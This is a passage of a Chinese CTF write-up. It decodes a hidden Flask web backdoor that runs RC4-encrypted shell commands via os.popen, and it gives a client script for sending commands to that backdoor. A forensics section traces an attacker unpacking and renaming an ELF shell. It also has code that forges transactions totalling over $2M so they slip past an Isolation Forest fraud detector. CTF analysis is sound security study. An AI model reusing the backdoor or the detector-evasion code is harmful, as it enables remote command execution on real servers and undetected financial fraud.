KkxJ63WBGb7u3bd+D+3ylnm1h4AR7MGN6r6LxpjNlAX11wa/XB1zN8cWUNnC3VczfwUEwPfi5dyo9nEC5WO9Um78WKRrm3c48IvTUhgdNeQEDosIfhMSmikEluQX8LcCRcK9eUT85bvr5J5rzEb+DuiGYyDFG7PZefvIb3w33u2q8zlxltWCStc5O4q8iWrVI7taZHxowTw5zJg9TdhBZ+fQrQtc0ydrBlvAlnY10vECnFUBA+y1lWsVn8cKxUjTdati4AF3iM/KuEtQ6Zn8bI4LYwMlGnCA1RG88J9l7G4dJzsWr9xOiD8iMI2N1eZd/QUy43YsILWx80yiCxz+G4bXf2qNRFvNOawPSnrpv6Q0oFEZojluPx7cOU27bAbgpwTKo0VUyH6G4+ysviQzU7SRd51LGG3U6cT0YDidQmz2ewtbkkKcGVcSyYOeClV6CRz6bdF/Gm3T2+Q914/lkZbKx19WnX78r+xw6bpjzWLr0E1gjnKCVxW0XSnwe+iG9dkG8nCFfjUlhdTaS1gJ7LFsmUjn8u/vRQbRLw/y66Irr/ynKOCzROcgrnDFxH3z3JTQQpTiDpeyzRsF4SnGBMv5Hbr+cK6YTa4MIbfzj5Ti3FMgJNqgK5Xk9hsilGsU6tUbnp6SKiJhUvJ8bqynUMEzndl+S+OVRCaH2iJl8U3WjyB68Rq4HATk/cK7LkJHHMjC3W7dTmOBpfoWMVELaL+RkqWYv0CpW5qENLlnOPBrGaGNeIZahzbnruEPIIXGkGz1fE5d42MaKZsCUYt1xXiai9+cbKGj/d0lICq7uc7bRhEBx46DyBXTz1gfJnT2ur6x4Avb5wY2pcYrcD2OR6AikMvm2c0bhabJB6o0DhONJ4lCxmKdGBzuwrts1u0D2yuo37yLLfsGDuyepNw8lyTNc2nyhCVBfW23DnBQmWc1QLCoRppVhjKXwOpODKO8R8YHnQM+rLk6EOabCdGK57iRzMcT3wc436kVmHXDcI0ZsYGY5aIC5DbdWjUt2ZuU0LmuLwzCTS99zhOoO8DKNqbK4bINLyAI2X928xib+hmIOqp3oSgC2PdFc8yqthN9S55omtex2xkEe8CY48C6z4JtqVtqhPQWQ8kte6xlepiVYCqIbE2Vg4fN//L/ff/u//9p4Lz7uq46yWenkJ/x90j/5mEIors5McSuFi9dygyyR5wJfuqGhOfsVVwJe’))


发现是一串反转Base64,使用https://cyberchef.org/#recipe=Reverse(‘Character’)From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)Zlib_Inflate(0,0,’Adaptive’,false,false)套娃解密,最终得到


global excclass global code import os,binascii excclass, code = app.getexcclassandcode(404) RC4SECRET = b’v1p3r5tr1k3k3y’ def rc4crypt(data: bytes, key: bytes) -> bytes:         S = list(range(256))         j = 0         for i in range(256):                 j = (j + S[i] + key[i % len(key)]) % 256                 S[i], S[j] = S[j], S[i]         i = j = 0         res = bytearray()         for char in data:                 i = (i + 1) % 256                 j = (j + S[i]) % 256                 S[i], S[j] = S[j], S[i]                 res.append(char ^ S[(S[i] + S[j]) % 256])         return bytes(res) def backdoorhandler():         if request.headers.get(‘X-Token-Auth’) != ‘3011aa21232beb7504432bfa90d32779’:                 return “Error”         enchexcmd = request.form.get(‘data’)         if not enchexcmd:                 return “”         try:                 enccmd = binascii.unhexlify(enchexcmd)                 cmd = rc4crypt(enccmd, RC4SECRET).decode(‘utf-8′, errors=’ignore’)                 outputbytes = getattr(os, ‘popen’)(cmd).read().encode(‘utf-8′, errors=’ignore’)                 encoutput = rc4crypt(outputbytes, RC4SECRET)                 return binascii.hexlify(encoutput).decode()         except:                 return “Error” app.errorhandlerspec[None][code][excclass]=lambda error: backdoorhandler()


里面的RC4_SECRET就是flag。

FLAG:flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

利用上一问得到的加密脚本,写出解密脚本:


import binascii

RC4SECRET = b’v1p3r5tr1k3_k3y’

def rc4_crypt(data: bytes, key: bytes) -> bytes:     S = list(range(256))     j = 0     for i in range(256):         j = (j + S[i] + key[i % len(key)]) % 256         S[i], S[j] = S[j], S[i]     i = j = 0     res = bytearray()     for char in data:         i = (i + 1) % 256         j = (j + S[i]) % 256         S[i], S[j] = S[j], S[i]         res.append(char ^ S[(S[i] + S[j]) % 256])     return bytes(res)

def decryptresponse(enchexresponse: str) -> str:     encresponse = binascii.unhexlify(enchexresponse)     decrypted = rc4crypt(encresponse, RC4_SECRET)     return decrypted.decode(‘utf-8′, errors=’ignore’)

def encryptcommand(command: str) -> str:     cmdbytes = command.encode(‘utf-8’)     enccmd = rc4crypt(cmdbytes, RC4SECRET)     return binascii.hexlify(enc_cmd).decode()

if name == ‘main‘:     import sys

    if len(sys.argv) < 2:         print("Usage:")         print("  解密响应: python rc4decrypt.py -d “)         print(”  加密命令: python rc4decrypt.py -e “)         print(“\n示例:”)         print(”  python rc4decrypt.py -d 48656c6c6f20576f726c64″)         print(”  python rc4decrypt.py -e ‘ls -la'”)         sys.exit(1)

    mode = sys.argv[1]

    if mode == ‘-d’ and len(sys.argv) >= 3:         enchex = sys.argv[2]         try:             decrypted = decryptresponse(enc_hex)             print(f”[+] 解密结果: {decrypted}”)         except Exception as e:             print(f”[!] 解密失败: {e}”)

    elif mode == ‘-e’ and len(sys.argv) >= 3:         command = sys.argv[2]         try:             enchex = encryptcommand(command)             print(f”[+] 加密结果: {enchex}”)             print(f”[+] 完整请求:”)             print(f”    X-Token-Auth: 3011aa21232beb7504432bfa90d32779″)             print(f”    data={enchex}”)         except Exception as e:             print(f”[!] 加密失败: {e}”)

    else:         print(“[!] 错误的参数”)         print(“Usage:”)         print(”  解密响应: python rc4decrypt.py -d “)         print(”  加密命令: python rc4decrypt.py -e “)


在tcp流1807发现攻击者上传了文件shell.zip, 下载下来解压发现shell ELF文件,尝试直接提交发现失败,继续看看;

流1813POST的data参数解密后是:unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip得到文件密码,同时发现文件被移动到/tmp,继续看;

流1817解密得到结果:mv /tmp/shell /tmp/python3.13shell文件被重命名为python3.13,流1825直接chmod +x /tmp/python3.13;流1826/tmp/python3.13可以确定shell木马文件被重命名为python3.13

AI安全

The Silent Heist

目标

  • 利用已有 1000 条正常交易数据(public_ledger.csv)训练一个模型或统计分布;
  • 生成一批新的交易记录(伪造数据);
  • 保证这些伪造数据: 总金额 > $2,000,000; 被 Isolation Forest 判定为“正常”; 不重复原始数据; 不能是直接复制粘贴原始数据。

加载数据


import pandas as pd import numpy as np from sklearn.ensemble import IsolationForest from sklearn.preprocessing import StandardScaler from sklearn.decomposition import PCA import warnings warnings.filterwarnings(“ignore”)

假设你已经将 public_ledger.csv 加载到 df 中

df = pd.readcsv(“publicledger.csv”)


构造 Isolation Forest 模型


使用所有特征进行建模

features = [col for col in df.columns if col.startswith(‘f’)] X = df[features]

标准化(Isolation Forest 对尺度敏感)

scaler = StandardScaler() Xscaled = scaler.fittransform(X)

构建 Isolation Forest 模型

isoforest = IsolationForest(contamination=0.1, randomstate=42) isoforest.fit(Xscaled)


获取原始数据的异常分数(验证模型)


scores = isoforest.decisionfunction(Xscaled) df[‘anomalyscore’] = scores

查看前几条是否为正常

print(df.head())


使用Gaussian Mixture Model (GMM)来建模分布伪造数据生成策略


from sklearn.mixture import GaussianMixture

训练 GMM 模型

gmm = GaussianMixture(ncomponents=5, randomstate=42) gmm.fit(X_scaled)

生成新样本

newsamplesscaled = gmm.sample(n_samples=1000)[0]

反标准化回原始空间

newsamples = scaler.inversetransform(newsamplesscaled)


生成伪造数据


假设你已生成 new_samples(形状为 (1000, 20))

newdf = pd.DataFrame(newsamples, columns=features)

设置 feat_0(交易金额)为一个合理的分布(比如正态分布)

meanamount = df[‘f0’].mean() stdamount = df[‘f0’].std()

newdf[‘f0’] = np.random.normal(meanamount, stdamount, 1000) newdf[‘f0’] = np.abs(new_df[‘f0’])  # 保证非负

保证总金额 > 2,000,000

totalamount = newdf[‘f0’].sum() if totalamount < 2000000:     # 调整 feat0 的值     scalefactor = 2000000 / totalamount     newdf[‘f0’] *= scalefactor


检查是否通过模型判断为“正常”


重新标准化

newsamplesscaled = scaler.transform(new_df[features])

判断是否为正常

scores = isoforest.decisionfunction(newsamplesscaled) normalcount = (scores > 0).sum() print(f”伪造数据中被判定为正常的数量:{normalcount} / 1000″)


输出 CSV 格式


转换为 CSV 字符串

csvoutput = newdf.to_csv(index=False)

附加 EOF

finaloutput = csvoutput + “\nEOF”

输出

print(final_output)


FLAG:flag{0e5f4496-ac33-4793-8d53-0f0c45f1283a}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 《第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛 Write Up》

暗网快讯【20260410】086期 网络安全文章

暗网快讯【20260410】086期

文章总结: 本期暗网快讯汇总了22起全球网络安全事件,核心发现包括多地大规模用户凭证与政府敏感数据泄露、身份证明文件非法交易、工业控制系统及公共交通设施遭入侵与
评论:0   参与:  0